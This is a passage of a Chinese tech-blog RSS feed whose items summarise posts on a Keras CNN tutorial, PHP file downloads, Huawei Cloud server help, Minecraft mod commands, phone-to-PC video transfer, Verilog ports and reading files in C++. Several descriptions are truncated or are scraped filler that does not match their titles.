      <guid>https://bchobby.github.io/posts/ffb93bb549a2b51b3ec4bfbb5d0f67be/</guid>
      <description>1、卷积分类器 欢迎来到计算机视觉！ 你有没有想过教电脑看东西？在本课程中，这正是你要做的！&#xA;在本课程中，您将：&#xA;使用现代深度学习网络构建具有Keras的图像分类器&#xA;使用可重用块设计您自己的定制convnet&#xA;学习视觉特征提取背后的基本思想&#xA;掌握迁移学习的艺术，提升你的模型&#xA;利用数据扩充扩展数据集&#xA;如果你参加了深度学习导论课程，你就会知道成功所需的一切。&#xA;现在让我们开始吧！&#xA;介绍 本课程将向您介绍计算机视觉的基本概念。我们的目标是学习神经网络如何能够很好地“理解”自然图像，从而解决人类视觉系统能够解决的相同类型的问题。&#xA;最擅长这项工作的神经网络称为卷积神经网络（有时我们称之为convnet或CNN）。卷积是一种数学运算，它赋予了convnet的各个层独特的结构。在以后的课程中，您将了解为什么此结构在解决计算机视觉问题时如此有效。&#xA;我们将把这些想法应用到图像分类问题中：给定一张图片，我们能训练计算机告诉我们它是什么图片吗？你可能见过一些应用程序，可以从照片中识别出一种植物。这是一个图像分类器！在本课程中，您将学习如何构建与专业应用程序中使用的图像分类器一样强大的图像分类器。&#xA;虽然我们的重点是图像分类，但您在本课程中学习的内容与各种计算机视觉问题相关。最后，您将准备好进入更高级的应用程序，如生成性对抗网络和图像分割。&#xA;卷积分类器 用于图像分类的convnet由两部分组成：卷积基和稠密头。&#xA;convnet的组成部分：映像、基、头、类；输入、提取、分类、输出。&#xA;基底用于从图像中提取特征。它主要由执行卷积运算的层组成，但通常也包括其他类型的层(您将在下一课中了解这些。）&#xA;头部用于确定图像的类别。它主要由致密层构成，但也可能包括其他层，如脱落层。&#xA;我们所说的视觉特征是什么意思？特征可以是线条、颜色、纹理、形状、图案，也可以是一些复杂的组合。&#xA;整个过程是这样的：&#xA;训练分类器 培训期间网络的目标是学习两件事：&#xA;要从图像（基础）中提取哪些特征，&#xA;哪一类与哪些功能（头部）相匹配。&#xA;如今，康维特很少从零开始训练。更常见的是，我们重用预训练模型的基础。在训练前的基地，我们再加上一个未经训练的脑袋。换句话说，我们重用网络中已经学会做的部分1.提取特征，并附加一些新的层来学习2.分类。&#xA;因为头部通常只有几个密集的层，所以可以从相对较少的数据中创建非常精确的分类器。&#xA;重用预先训练好的模型是一种被称为迁移学习的技术。它是如此有效，以至于现在几乎每个图像分类器都会使用它。&#xA;示例-训练Convnet分类器 在本课程中，我们将创建分类器，试图解决以下问题：这是一张汽车还是卡车的图片？我们的数据集是大约10000张各种汽车的图片，大约一半是汽车，一半是卡车。&#xA;步骤1-加载数据 下一个隐藏单元将导入一些库并设置我们的数据管道。我们有一个名为ds_train的训练分割和一个名为ds_valid的验证分割。&#xA;# 进口 import os, warnings import matplotlib.pyplot as plt from matplotlib import gridspec import numpy as np import tensorflow as tf from tensorflow.keras.preprocessing import image_dataset_from_directory # 可玩性 def set_seed(seed=31415): np.random.seed(seed) tf.random.set_seed(seed) os.environ[&#39;PYTHONHASHSEED&#39;] = str(seed) os.environ[&#39;TF_DETERMINISTIC_OPS&#39;] = &#39;1&#39; set_seed(31415) # 设置Matplotlib默认值 plt.</description>
    </item>
    <item>
      <title>文档服务器php,php简单文件服务器</title>
      <link>https://bchobby.github.io/posts/c16b388b48efd7e30fbd1473c655cfd4/</link>
      <pubDate>Sat, 07 Aug 2021 04:57:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c16b388b48efd7e30fbd1473c655cfd4/</guid>
      <description>php 使用 apache 模块 mod-xsendfile 实现文件下载&#xA;编写 apache 的重写文件 .htaccess, 重写的目的是为了和项目的区分开， 下载文件做单独的服务器， 这样就不会拖垮项目配置规则如下：&#xA;RewriteEngine on&#xA;RewriteRule index.html index.php&#xA;RewriteRule (.&#xA;获取请求的文件名称， 并判断是否有权限// 请求的文件名称为 localhost/abc.zip, .htaccess文件需要放置在 localhost 的域名下面， 才能实现重定向&#xA;$filename = basename($_GET[&#39;file&#39;]);&#xA;if (!is_file($filename) || !is_readable($filename)) {&#xA;exit(&#34;&#xA;没有找到文件&#xA;&#34;); }&#xA;如果为中文, 设置中文的文件名称, 并获取浏览器的类型 (不同的浏览器输出文件的格式不一致)header(&#34;content-type:applicaton/octet-stream&#34;);&#xA;$ua = $_SERVER[&#39;HTTP_USER_AGENT&#39;];&#xA;$encodeName = urlencode($filename);&#xA;$encodeName = str_replace(&#39;+&#39;, &#39;%20&#39;, $encodeName);&#xA;判断浏览器的类型, 并设置输出的 header 头信息// 判断浏览器类型&#xA;if (preg_match(&#39;/MSIE/i&#39;, $ua)) {&#xA;// 微软的浏览器&#xA;header(&#34;Content-Disposition:attachment; filename=&#39;&#34;.$encodeName.&#34;&#39;&#34;);&#xA;} else if (preg_match(&#34;</description>
    </item>
    <item>
      <title>php文件如何上传到服务器,php文件怎么上传到云服务器</title>
      <link>https://bchobby.github.io/posts/43201c19e0436803a1be20b36f8fb47f/</link>
      <pubDate>Sat, 07 Aug 2021 02:20:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/43201c19e0436803a1be20b36f8fb47f/</guid>
      <description>php文件怎么上传到云服务器 内容精选&#xA;换一换&#xA;当服务器A和服务器B同时挂载同一文件系统C时，在服务器A上传文件，服务器B同步此文件时存在延时，而单独上传至服务器B则没有延时。需要在两个服务器的挂载参数中增加参数noac，noac表示禁止缓存，强制进行同步写。为了提高性能，NFS客户端缓存文件属性(默认ac)，然后每隔一段时间去检查文件属性后更新。在缓存有效期内，客户端不检测服务器上文&#xA;远程桌面协议(Remote Desktop Protocol，RDP)，是微软提供的多通道的远程登录协议。本节为您介绍如何使用RDP文件远程登录Windows弹性云服务器。从管理控制台下载的RDP文件对应唯一的云服务器，当前RDP文件命名规则为“云服务器名称-弹性IP”。弹性云服务器状态为“运行中”。如果弹性云服务器采用密钥方式鉴权，已获&#xA;php文件怎么上传到云服务器 相关内容&#xA;登录Windows操作系统的弹性云服务器时，需使用密码方式登录。因此，用户需先根据创建弹性云服务器时使用的密钥文件，获取该弹性云服务器初始安装时系统生成的管理员密码(Administrator帐户或Cloudbase-init设置的帐户)。该密码为随机密码，安全性高，请放心使用。请根据您的个人需求，通过管理控制台或API方式获取Windo&#xA;密钥对鉴权方式的Windows云服务器，使用私钥文件获取登录密码失败。出现获取密码失败一般原因是Cloudbase-init注入密码失败。 Cloudbase-init注入密码失败原因有：网络原因导致云服务器器无法连接到Cloudbase-init服务器。镜像上Cloudbase-init没有获取密码相关配置。云服务器上其他问题导致Clo&#xA;php文件怎么上传到云服务器 更多内容&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;除了可以通过云服务器创建私有镜像，系统也支持外部镜像导入功能，可将您本地或者其他云平台的服务器系统盘镜像文件导入至镜像服务私有镜像中。导入后，您可以使用该镜像创建新的云服务器，或对已有云服务器的系统进行重装。私有镜像创建过程如图1所示。步骤说明如下：准备符合平台要求的外部镜像文件，请参考准备镜像文件(Windows)。上传外部镜像文件到O&#xA;本节操作介绍Linux云服务器切换密钥登录为密码登录的操作步骤。使用密钥登录Linux云服务器，设置root密码。sudo passwd root若密钥文件丢失或损坏，请参考Linux云服务器如何进入单用户模式重置root密码，重置root密码。sudo passwd root若密钥文件丢失或损坏，请参考Linux云服务器如何进入单用户模&#xA;如果Linux操作系统云服务器未安装密码重置插件，可以参见本节内容重新设置密码。本节操作重置的是root用户的密码，您可以重置完root密码后登录云服务器后再更换秘钥或重置非root用户的密码。Windows操作系统请参见重置Windows云服务器密码(未安装重置密码插件)。如果云服务器提前安装了密码重置插件，请参见在控制台重置云服务器密&#xA;华为云镜像服务帮助中心，为用户提供产品简介、快速入门、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用镜像服务。&#xA;RedisShake是一款开源的Redis迁移工具，支持Cluster集群的在线迁移与离线迁移(备份文件导入)。DCS Cluster集群与Redis Cluster集群设计一致，数据可平滑迁移。本文以Linux系统环境为例，介绍如何使用Redis-Shake工具进行Cluster集群数据迁移。在线迁移主要适用于自建Redis Clust&#xA;创建加密镜像分为通过加密弹性云服务器创建加密镜像和通过外部镜像文件创建加密镜像。通过加密弹性云服务器创建加密镜像用户选择弹性云服务器创建私有镜像时，如果该云服务器的系统盘已加密，那么使用该云服务器创建的私有镜像也是加密的。加密镜像使用的密钥和系统盘的密钥保持一致。具体操作请参考通过云服务器创建Windows系统盘镜像和通过云服务器创建Li&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;您需要提前准备好符合条件的镜像文件，并了解操作系统的已知问题(参见已知问题)。表1中，网络、工具、驱动相关的配置需要在虚拟机内部完成，强烈建议您在原平台的虚拟机实施修改后，再导出镜像文件。当然，您也可以使用弹性云服务器完成这些配置，具体操作请参见“Windows外部镜像文件在导出前未完成初始化配置，怎么办？”。大文件导入(不超过1TB)目&#xA;Linux操作系统XEN实例变更为KVM实例前，必须已完成必要的驱动安装和配置。当您需要变更的Linux操作系统的XEN实例比较多时候，推荐您使用本节的批量自动配置的方法安装驱动，通过自动化脚本的方式批量为Linux云服务器安装驱动、配置磁盘自动挂载。在驱动安装完成后使用控制台提供的“变更规格”功能将XEN实例变更为KVM实例。XEN实例</description>
    </item>
    <item>
      <title>我的世界龙珠mod修改服务器,我的世界龙珠mod大猩猩指令 | 手游网游页游攻略大全...</title>
      <link>https://bchobby.github.io/posts/fedbc325aea06b2eb149b89faa31d238/</link>
      <pubDate>Sat, 07 Aug 2021 01:51:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fedbc325aea06b2eb149b89faa31d238/</guid>
      <description>发布时间：2016-08-13&#xA;我的世界神奇宝贝mod可以召唤出不同的神奇宝贝来战斗,很多玩家都想知道怎么才能召唤出神兽战斗,下面就为大家带来我的世界神奇宝贝mod召唤神兽指令大全. 梦幻召唤指令/pokespawn mew这个是普通梦幻闪光超梦是:/ ...&#xA;标签：&#xA;我的世界 我的世界神奇宝贝 我的世界神奇宝贝召唤神兽&#xA;发布时间：2015-09-06&#xA;我的世界神奇宝贝MOD召唤指令大全,我的世界神奇宝贝怎么召唤神兽?我的世界玩神奇宝贝的玩家有很多,下面小编为大家带来了神奇宝贝MOD召唤指令大全,希望对大家有帮助. 我的世界神奇宝贝召唤指令一览: 1.召唤神奇宝贝的指令 ...&#xA;标签：&#xA;我的世界攻略 我的世界 我的世界神奇宝贝mod下载&#xA;发布时间：2017-09-19&#xA;我的世界龙珠mod中的超级赛亚人.那下面给大家分享的则是我的世界中的龙珠MOD里面的超级赛亚人哦~有感兴趣的玩家不妨进来看看下面的介绍吧!希望大家喜欢. 游戏园我的世界官方群:325049520 或 256070479 ...&#xA;标签：&#xA;我的世界 游戏攻略&#xA;发布时间：2018-01-21&#xA;今天游戏园的小编就为大家带来我的世界龙珠整合MOD,此MOD高度还原了漫画龙珠里的场景与人物设定,相信身为龙珠迷的你一定会喜欢此款MOD! &amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;点我下载&amp;lt;&amp;lt;&amp;lt;&amp;lt; ...&#xA;标签：&#xA;我的世界 MOD下载&#xA;发布时间：2017-07-13&#xA;龙珠MOD可以让玩家们体验到七龙珠的乐趣,许多解说也都做过龙珠mod的视频,小编也是非常喜欢玩龙珠MOD的,但是这个MOD里面有个小小 的问题,没有刷怪笼和刷怪蛋,我们要弄到怪物怎么办呢?今天游戏园小编就为大家带来了一篇 ...&#xA;标签：&#xA;我的世界 游戏攻略&#xA;发布时间：2016-07-09&#xA;我的世界手机版op指令能够用来管理游戏内的玩家,也可用来作弊,非常方便,但是不少玩家可能不知道有哪些op指令,服务器指令怎么用.下面99安卓网小编就来分享我的世界手机版op指令汇总,以及指令使用方法,供玩家参考. []括 ...&#xA;标签：&#xA;我的世界手机版&#xA;发布时间：2015-12-24&#xA;我的世界神奇宝贝怎么召唤神兽,这个需要大量的指令才能轻松的召唤出来,很多玩家在使用神奇宝贝mod的时候对于那些宠物和精灵比较适合自己都不清楚,召唤的时候需要谨慎,仔细阅读相关的要求,下面给大家提供我的世界神奇宝贝怎么召唤 ...&#xA;标签：&#xA;游戏攻略 攻略秘籍&#xA;发布时间：2015-11-22&#xA;神奇宝贝是不少玩家的童年,使这些小精灵出现在中,也很有趣吧.下面小编带来神奇宝贝召唤指令解析,一起来看吧. 前提:需要安装神奇宝贝MOD 1.召唤神奇宝贝的指令为:/pok ...&#xA;标签：&#xA;发布时间：2015-11-12&#xA;我的世界1.6.2指令介绍 我的世界1.6.2指令大全带给玩家,我的世界中有哪些指令,来看看我的世界1.6.2指令大全. ee/give 给予人 物品id 数量 - 给予某人物品,如果不写数量则给予数量默认为64 /ni .</description>
    </item>
    <item>
      <title>手机服务器连接视频文件夹吗,巧用手机自带功能向电脑传输视频 华为小米苹果均适用...</title>
      <link>https://bchobby.github.io/posts/c3f49b69d4d584bb68ee806f0fa2617f/</link>
      <pubDate>Sat, 07 Aug 2021 00:56:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c3f49b69d4d584bb68ee806f0fa2617f/</guid>
      <description>原标题：巧用手机自带功能向电脑传输视频 华为小米苹果均适用&#xA;手机拍摄的视频想要无损传输到电脑上，各个品牌手机的办法不一样，这里我主要就华为、小米、苹果三个主要品牌的手机主要说一说。&#xA;华为手机用户&#xA;华为手机可以下拉通知栏，在控制菜单中找到“华为分享”或者“HUAWEI SHARE”这个图标，并且长按。接着在弹出的界面中打开“华为分享”，然后再打开“共享至电脑”。这个时候如果你的手机和电脑在同一个WiFi网络中，打开电脑的“网络邻居”，就可以找到一个以手机型号命名的共享设备。然后在手机的“电脑端访问验证”中，设置好访问的用户和密码，并且保存。&#xA;接着在电脑的网络邻居中，点击手机的共享名，输入刚才设置好的用户名和密码，就可以访问手机存储空间了，一般手机拍摄的视频在“DCIM/Camera”这个文件夹里，直接将视频复制到电脑本地硬盘即可，这样获得的视频就是无压缩的原始文件了。&#xA;小米手机用户&#xA;小米手机可以在系统自带的APP中，找到并打开“文件管理”，点击右上角的三个小圆点，在设置菜单中选择“远程管理”，然后在远程管理界面中点击右上角的设置图标，设置好用户名和密码。如果是在家庭使用的话，选择匿名登陆也可以。&#xA;设置好用户名和密码之后，点击“启动服务”，接下来就可以在电脑上打开任意一个文件夹，在地址栏中填入手机端显示的ftp地址，再按回车键。即可进入到手机的存储文件夹当中。找到“DCIM/Camera”文件夹，即可将手机中的视频文件无损的复制到电脑硬盘当中。&#xA;苹果手机用户&#xA;苹果手机用户如果使用的是Macbook，直接使用系统自带的“隔空投送”功能，就可以无损的将视频传输到Macbook了。如果使用的是Windows，则要复杂一些。&#xA;首先，需要在Windows系统中建立一个文件夹，然后在“右键-属性”中选择“共享”，在弹出的“网络访问”菜单中，选择“Everyone”，如下图所示：&#xA;接着按住“Win+R”键，输入“cmd”打开“命令提示符”，输入“ipconfig”，找到电脑的IP地址。或者也可以在路由器后台中查看电脑的IP地址。然后在iPhone手机端找到“文件”这款系统自带的APP，打开后点击右上角的“设置”然后选择“连接服务器”，并在新界面的“服务器”一栏中，填入“smb://”+电脑的IP地址，比如我的地址就是“smb://192.168.31.112”。如果顺利的话就可以找到电脑的共享文件夹了。&#xA;最后在手机相册中找到需要传输的视频，然后点击“发送”图标，下拉后选择“存储到文件”，然后找到电脑的共享文件夹，再点击“存储”，视频就会传输到电脑的共享文件夹当中了。&#xA;总的来说，现在华为、小米、苹果手机均支持ftp或者smb协议来传输文件，不需要任何第三方软件，均可实现手机端到电脑端的视频无损传输。返回搜狐，查看更多&#xA;责任编辑：</description>
    </item>
    <item>
      <title>云服务器 ecs选啥系统好,云服务器ecs选择什么系统</title>
      <link>https://bchobby.github.io/posts/457c41aeae09953e0d2d3592a5a0432e/</link>
      <pubDate>Fri, 06 Aug 2021 23:33:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/457c41aeae09953e0d2d3592a5a0432e/</guid>
      <description>云服务器ecs选择什么系统 内容精选&#xA;换一换&#xA;本节操作介绍Linux操作系统云服务器使用重新挂载系统盘的方式重置密码的操作步骤。本文档适用于X86架构的CentOS 7、Ubuntu、EulerOS操作系统云服务器。进入单用户模式下重置root密码前请先做好数据备份。已经准备一台Linux操作系统的临时弹性云服务器，且该临时弹性云服务器与待重置密码的弹性云服务器位于同一个可用区。临时&#xA;在您申请了云耀云服务器后，可以通过管理控制台查看和管理您的云耀云服务器。本节介绍如何查看云耀云服务器的详细配置，包括云耀云服务器名称、镜像信息、系统盘、数据盘、安全组、弹性公网IP等信息。登录管理控制台。单击管理控制台左上角的，选择区域和项目。选择“计算 &amp;gt; 云耀云服务器”。系统进入云耀云服务器列表页，您可以在本页面查看您已购买的云耀云服&#xA;云服务器ecs选择什么系统 相关内容&#xA;本章节指导用户挂载已有数据的系统盘。系统盘目前支持离线挂载，即云服务器处于“关机”状态，才可以挂载系统盘。您可以在磁盘列表中查看磁盘属性，只有当磁盘属性为“启动盘”，并且磁盘状态为“可用”时，磁盘才支持挂载至云服务器用作系统盘。卸载后的系统盘即为启动盘，根据您选择的挂载点不同，启动盘可以重新挂载给云服务器用作系统盘或者数据盘。随包年/包月&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;云服务器ecs选择什么系统 更多内容&#xA;系统盘目前支持离线卸载，即在挂载该磁盘的云服务器处于“关机”状态，才可以卸载磁盘。因此，运行状态的云服务器需要先关机然后再卸载相应的系统盘。挂载至云服务器的系统盘，磁盘属性为“系统盘”，磁盘状态为“正在使用”。当系统盘从云服务器上卸载后，此时系统盘的磁盘属性变为“启动盘”，磁盘状态变为“可用”。卸载后的系统盘即为启动盘，根据您选择的挂载点&#xA;云服务器备份主要对服务器下所有云硬盘创建一致性在线备份。针对需要对整个服务器进行保护(包括服务器配置规格，以及多个云硬盘的一致性数据)，或者希望通过弹性云服务器的备份创建镜像，发放弹性云服务器，达到快速恢复业务运行环境的场景，建议使用云服务器备份。云硬盘备份主要对服务器中单个的云硬盘(系统盘和数据盘)创建在线备份。针对系统盘没有自定义数据&#xA;将ISO文件注册为ISO镜像后，无法在创建云服务器页面选择到，也无法用来切换操作系统，必须完成操作系统及驱动安装做成系统盘镜像后才能使用。ISO镜像在镜像服务页面所创建的云服务器只建议用来装机，部分功能受限。参考如下链接，了解利用ISO文件创建私有镜像的完整流程。通过ISO文件创建Windows系统盘镜像通过ISO文件创建Linux系统盘&#xA;SAP HANA运行在HANA云服务器上，需创建两台HANA云服务器，用于部署SAP HANA软件。根据界面提示配置参数，确认填写信息无误之后，阅读并勾选《华为镜像免责声明》，然后单击“立即购买”，完成SAP HANA主节点云服务器的创建。创建SAP HANA备节点创建步骤与SAP HANA主节点的创建基本一样，主要的区别就在于创建备节点&#xA;备案授权码是由弹性云服务器(含云耀云服务器)生成的用于备案的授权凭证，实际指向该服务器的IP地址。对于跨帐号的云资源类型，您可以通过备案授权码进行备案。示例：华为云帐号A内无满足备案条件的服务器，您可以使用其他华为云帐号(如帐号B)内满足条件的弹性云服务器生成备案授权码进行备案。用于生成备案授权码的弹性云服务器，需满足备案服务器的要求，即&#xA;本章节指导用户挂载已有数据的共享云硬盘，只可以用作数据盘。您可以在磁盘列表中查看磁盘信息，磁盘信息符合以下条件，该磁盘支持挂载至云服务器用作数据盘。共享盘：共享磁盘属性：数据盘磁盘状态：可用或者正在使用共享盘：共享磁盘属性：数据盘磁盘状态：可用或者正在使用一块共享云硬盘最多可同时挂载至16台云服务器，这些云服务器必须与共享云硬盘位于同一区&#xA;云耀云服务器创建成功后，如果发现磁盘不够用或当前磁盘不满足要求，可以将已有云硬盘挂载给云耀云服务器，或在“存储 &amp;gt; 云硬盘”页面购买新的磁盘，然后再挂载至云耀云服务器。已创建可用的云硬盘。创建云硬盘的操作请参考“购买云硬盘”。创建云硬盘的操作请参考“购买云硬盘”。磁盘未被锁定。磁盘加锁时，表示被锁定，此时不能执行磁盘的挂载操作。磁盘加锁时&#xA;企业主机安全(Host Security Service，HSS)是提升服务器整体安全性的服务，通过主机管理、风险防御、入侵检测、安全运营、网页防篡改功能，可全面识别并管理云服务器中的信息资产，实时监测云服务器中的风险，降低服务器被入侵的风险。使用主机安全需要在云服务器中安装Agent。安装Agent后，您的云服务器将受到HSS云端防护中&#xA;云备份提供申请即用的备份服务，使您的数据更加安全可靠。例如，当云服务器或磁盘出现故障或者人为错误导致数据误删时，可以自助快速恢复数据。本节操作介绍备份云服务器和云硬盘的操作步骤。目前弹性云服务器备份可以通过“云服务器备份”和“云硬盘备份”功能实现：云服务器备份(推荐)：如果是对弹性云服务器中的所有云硬盘(系统盘和数据盘)进行备份，推荐使用&#xA;弹性云服务器创建成功后，您可以根据需求，修改云服务器的名称。系统支持批量修改多台弹性云服务器的名称，修改完成后，这些弹性云服务器的名称相同。登录管理控制台。单击管理控制台左上角的，选择区域和项目。选择“计算 &amp;gt; 弹性云服务器”。将鼠标移动至目标云服务器的“名称/ID”列。单击，根据界面提示，修改云服务器名称。允许重名：勾选后，允许修改后的&#xA;云耀云服务器创建成功后，您可以根据需求，修改云服务器的名称。系统支持批量修改多台云耀云服务器的名称，修改完成后，这些云耀云服务器的名称相同。登录控制台。单击管理控制台左上角的，选择区域和项目。选择“计算 &amp;gt; 云耀云服务器”。将鼠标移动至目标云服务器的“名称/ID”列。单击，根据界面提示，修改云服务器名称。允许重名：勾选后，允许修改后的名称</description>
    </item>
    <item>
      <title>关于实例化端口规则的复习</title>
      <link>https://bchobby.github.io/posts/e9eeab19400471a856db8f2482087d32/</link>
      <pubDate>Fri, 06 Aug 2021 23:30:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e9eeab19400471a856db8f2482087d32/</guid>
      <description>总结来说：&#xA;对于一个模块，它的输入端口在实例化时可以为wire / reg&#xA;而输出端口在实例化时只可以为wire&#xA;inout皆为wire</description>
    </item>
    <item>
      <title>C&#43;&#43;读取txt文件里每行的数据</title>
      <link>https://bchobby.github.io/posts/7cdff7e3c0b96fa98f23b1618ed8f492/</link>
      <pubDate>Fri, 06 Aug 2021 22:11:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7cdff7e3c0b96fa98f23b1618ed8f492/</guid>
      <description> #include &amp;lt;iostream&amp;gt; #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;string.h&amp;gt; using namespace std; const char *board_list = &#34;./example_list.txt&#34;; int main(int argc, char **argv) { FILE *f = fopen(board_list, &#34;rt&#34;); for (;;) { char buf[1024]; if (!fgets(buf, sizeof(buf) - 3, f)) break; size_t len = strlen(buf); while (len &amp;gt; 0 &amp;amp;&amp;amp; isspace(buf[--len])); buf[len+1] = &#39;\0&#39;; cout&amp;lt;&amp;lt;buf&amp;lt;&amp;lt;endl; } return 0; } </description>
    </item>
    <item>
      <title>金蝶eas系统服务器地址,金蝶eas更换服务器地址</title>
      <link>https://bchobby.github.io/posts/26bf6c3a2c15c057eddd5090ed827f0e/</link>
      <pubDate>Fri, 06 Aug 2021 21:46:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/26bf6c3a2c15c057eddd5090ed827f0e/</guid>
      <description>金蝶eas更换服务器地址 内容精选&#xA;换一换&#xA;子网创建好后，网段是不支持修改的。如需修改子网网段可以通过更换子网来实现。云服务器已关机。登录管理控制台。选择“计算 &amp;gt; 弹性云服务器”。在弹性云服务器列表中的右上角，输入弹性云服务器名、IP地址或ID，并单击进行搜索。单击待修改子网的弹性云服务器名称。系统跳转至该弹性云服务器详情页面。系统跳转至该弹性云服务器详情页面。选择“网卡”页签，&#xA;若用户想要更换Ubuntu服务器的IP地址，则Mind Studio安装使用的IP地址也要随之更换，方法如下：如果env.conf文件中的IP配置为Ubuntu服务器IP地址，则修改IP时，直接将env.conf文件中的IP地址改为新的Ubuntu服务器IP。如果env.conf文件中的IP配置为any：如果env.conf文件中use_&#xA;金蝶eas更换服务器地址 相关内容&#xA;云平台支持修改主网卡的私有IP地址，具体操作请参见本节内容。如需修改扩展网卡的私有IP地址，请删除网卡，并挂载新网卡。云服务器已关机。如果网卡绑定了虚拟IP或者DNAT规则，需要先解绑。如果网卡上有IPv6地址，无法修改(包括IPv4和IPv6的)私有IP地址。如需修改弹性负载均衡后端服务器的私有IP地址，请先移出后端服务器组后再修改私有&#xA;您可以直接修改虚拟私有云中裸金属服务器的私有IP地址，也可以通过更改裸金属服务器所属的子网来修改私有IP地址。裸金属服务器必须为“关机”状态。不支持修改扩展网卡的私有IP地址。手动指定私有IP时，需要保证该私有IP在所选子网内。修改的私有IP不能和该裸金属服务器其他网卡的IP在同一子网内。已加入ELB后端服务器组的裸金属服务器，需要先移除&#xA;金蝶eas更换服务器地址 更多内容&#xA;云平台支持修改主网卡的私有IP地址，具体操作请参见本节内容。如需修改扩展网卡的私有IP地址，请删除网卡，并挂载新网卡。弹性云服务器已关机。如果网卡绑定了虚拟IP或者DNAT规则，需要先解绑。如果网卡上有IPv6地址，无法修改(包括IPv4和IPv6的)私有IP地址。如需修改弹性负载均衡后端服务器的私有IP地址，请先移出后端服务器组后再修改&#xA;可以的。SSL证书都是绑定域名的，和服务器更换IP地址没有任何关系。只要域名不变，重新解析到新的IP地址即可，原来的SSL证书照样可以用，不需要更换新的证书。&#xA;安装依赖时，使用pip3.7.5 install xxx命令安装相关软件时提示无法连接网络，且提示“Could not find a version that satisfies the requirement xxx&#34;，提示信息如下所示。没有配置pip源。配置pip源，配置方法如下：如果提示目录不存在，则执行如下命令创建：在.pip目录&#xA;安装依赖时，使用pip3.7.5 install xxx命令安装相关软件时提示无法连接网络，且提示“Could not find a version that satisfies the requirement xxx&#34;，提示信息如下所示。没有配置pip源。配置pip源，配置方法如下：如果提示目录不存在，则执行如下命令创建：在.pip目录&#xA;可以的。SSL证书都是绑定域名的，和服务器更换IP地址没有任何关系。只要域名不变，重新解析到新的IP地址即可，原来的SSL证书照样可以用，不需要更换新的证书。&#xA;安装依赖时，使用pip3.7.5 install xxx命令安装相关软件时提示无法连接网络，且提示“Could not find a version that satisfies the requirement xxx&#34;，提示信息如下所示。没有配置pip源。配置pip源，配置方法如下：如果提示目录不存在，则执行如下命令创建：在.pip目录&#xA;DCC是物理隔离的专属计算资源集群，集群中主机可能会因为故障而自动停机。为降低物理机故障的影响，在用户购买的专属集群内资源有冗余的情况下，在集群内的云服务器支持自动迁移能力。带有本地盘的主机不支持宕机自动迁移能力。计算资源没有冗余时，不支持云服务器自动迁移能力。发生故障后，我们会为用户更换一台健康的物理机，云服务器的ID、私有IP地址、弹&#xA;不支持直接加载外接硬件设备(如USB设备、银行U key、外接硬盘、加密狗等)。不支持带外管理，您的裸金属服务器资源统一由华为云管理和维护。不支持热迁移，服务器故障后会对业务造成影响，建议您通过业务集群部署、主备部署等方式实现业务的高可用。不支持创建没有操作系统的裸设备，即裸金属服务器必须自带操作系统。不支持更换裸金属服务器的操作系统。公&#xA;对接企业自定义的邮箱系统，需要提供企业邮箱的微软EAS协议或者标准的IMAP/SMTP协议和对应的端口号。如果在登录的时候发现一直提示错误，通常是提供的服务器地址和端口不对。建议在WeLink后台管理上设置企业自定义邮箱之前，使用以下方法检查邮箱的服务器地址和端口是否正确。使用手机(Android和iOS都支持)自带Email客户端验证，&#xA;当目的迁移任务执行失败时，提示“sms.3802 与目的服务器建立SSH连接失败”。linux文件级迁移时，源端会和目的端服务器建立一个SSH连接用于传输数据。如果无法成功建立SSH连接，则会提示该错误。建议您参考本章节操作步骤排查SSH无法连接的原因。检查目的端是否被关机检查目的端安全组22端口是否被关闭或指定了一个非源端IP检查源端网&#xA;您可以通过本节内容解决如下问题：用户在管理控制台执行弹性云服务器相关操作后出现异常，针对管理控制台提示的异常信息，应该如何处理？用户参见《弹性云服务器接口参考》调用云服务器相关的API接口时，如果返回错误码，应该如何处理？用户通过管理控制台执行弹性云服务器的相关操作后，弹性云服务器列表页面将显示相应操作的申请状态。通过申请状态中显示的信息</description>
    </item>
    <item>
      <title>dw怎么取消建在虚拟服务器中,dw 怎么设置关掉一个服务器</title>
      <link>https://bchobby.github.io/posts/0ab18d244b01f9c9981f4063c11d2e0b/</link>
      <pubDate>Fri, 06 Aug 2021 21:35:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ab18d244b01f9c9981f4063c11d2e0b/</guid>
      <description>dw 怎么设置关掉一个服务器 内容精选&#xA;换一换&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;您可以根据以下步骤使用管理控制台创建一个裸金属服务器实例。本教程以部署一台Web应用服务器为场景，旨在帮助您快速创建一个实例，因此不会涵盖所有可能的选项。详细的创建信息和参数说明，请参见创建裸金属服务器。使用API创建实例，请参见创建裸金属服务器。登录云服务器控制台https://console.huaweicloud.com/ecm/?&#xA;dw 怎么设置关掉一个服务器 